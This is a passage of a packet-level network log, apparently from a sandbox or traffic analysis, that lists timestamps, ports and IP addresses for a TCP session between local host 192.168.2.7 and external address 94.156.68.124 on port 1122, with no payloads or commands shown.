Sep 25, 2024 01:11:12.319216013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319221973 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319231987 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319252014 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319256067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319271088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319278955 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319293022 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319293022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319312096 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319317102 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319341898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319427013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319442034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319458961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319474936 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319480896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319494963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319509983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319516897 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319525957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319540977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319549084 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319576025 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319602966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319617033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319629908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319644928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319649935 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319660902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319683075 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319716930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319731951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319752932 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319833040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319849014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319869995 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.319972992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.319988966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.320002079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.320009947 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.320018053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.320031881 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.320044994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.320048094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.320063114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.320069075 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.320077896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.320094109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.320108891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.320110083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.320123911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.320133924 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.320138931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.320157051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.320163012 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.320188999 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.396508932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.396532059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.396548986 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.396573067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.396580935 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.396589994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.396606922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.396611929 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.396672010 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.396729946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.396748066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.396794081 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.396872997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.396888971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.396905899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.396927118 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.397099018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397114992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397130966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397138119 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.397146940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397166014 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.397249937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397267103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397284985 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.397433996 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397471905 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.397609949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397625923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397639036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397661924 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.397804022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397819042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397830963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.397871971 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.397937059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.405232906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405247927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405265093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405281067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405297041 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.405363083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.405375004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405391932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405406952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405437946 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.405558109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405597925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.405745983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405764103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405780077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405812025 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.405901909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405917883 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405934095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405942917 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.405950069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405966043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.405987024 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.406008959 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.406215906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.406230927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.406245947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.406284094 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.406357050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.406373024 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.406389952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.406399012 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.406440973 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.406517029 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.406533957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.406584024 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.407288074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407303095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407318115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407346964 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.407444000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407459974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407490015 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.407613993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407629967 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407645941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407659054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.407691956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.407764912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407780886 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407797098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407810926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407824993 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.407830000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.407852888 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.408057928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408073902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408090115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408106089 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.408127069 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.408242941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408257961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408273935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408289909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408305883 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408309937 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.408320904 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.408579111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408595085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408611059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408627033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408628941 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.408643961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408652067 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.408660889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408677101 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408683062 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.408693075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408708096 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.408725023 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.408750057 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.413146973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413161993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413177013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413193941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413206100 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.413239956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.413294077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413309097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413324118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413337946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413351059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.413378000 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.413813114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413827896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413844109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413857937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413867950 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.413897038 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.413969994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.413986921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414002895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414021969 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.414128065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414143085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414158106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414165020 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.414191961 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.414194107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414211035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414247036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.414382935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414400101 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414416075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414432049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414439917 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.414444923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414468050 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.414541960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414558887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414573908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414578915 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.414589882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414609909 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.414679050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414695024 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414716005 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.414863110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414876938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414891005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414901018 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.414906979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414922953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414923906 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.414940119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414956093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414971113 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.414973974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414990902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.414997101 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.415009975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.415025949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.415039062 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.415041924 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.415059090 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.415060043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.415076971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.415093899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.415096045 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.415110111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.415133953 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.462125063 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.483361006 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483380079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483412981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483429909 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.483516932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483534098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483556032 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.483558893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483576059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483592033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483599901 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.483643055 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.483835936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483851910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483866930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483884096 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483891964 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.483900070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483916044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483922005 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.483932018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483947039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.483956099 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.483980894 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.484157085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.484265089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.484281063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.484297037 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.484311104 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.484313965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.484328985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.484343052 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.484381914 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.491838932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.491864920 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.491878033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.491904974 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.491972923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.491986990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.492008924 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.492099047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.492114067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.492139101 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.492172003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.492211103 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.492283106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.492345095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.492360115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.492383003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.492503881 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.492518902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.492535114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.492547989 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.492549896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.492573977 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.492939949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.492988110 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.492989063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493007898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493043900 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.493087053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493104935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493138075 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.493221045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493236065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493257999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493272066 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.493796110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493850946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493844032 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.493865967 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493906975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493912935 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.493921041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493935108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.493963957 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.494021893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494035006 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494052887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494060040 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.494087934 CEST	49700	1122	192.168.2.7	94.156.68.124
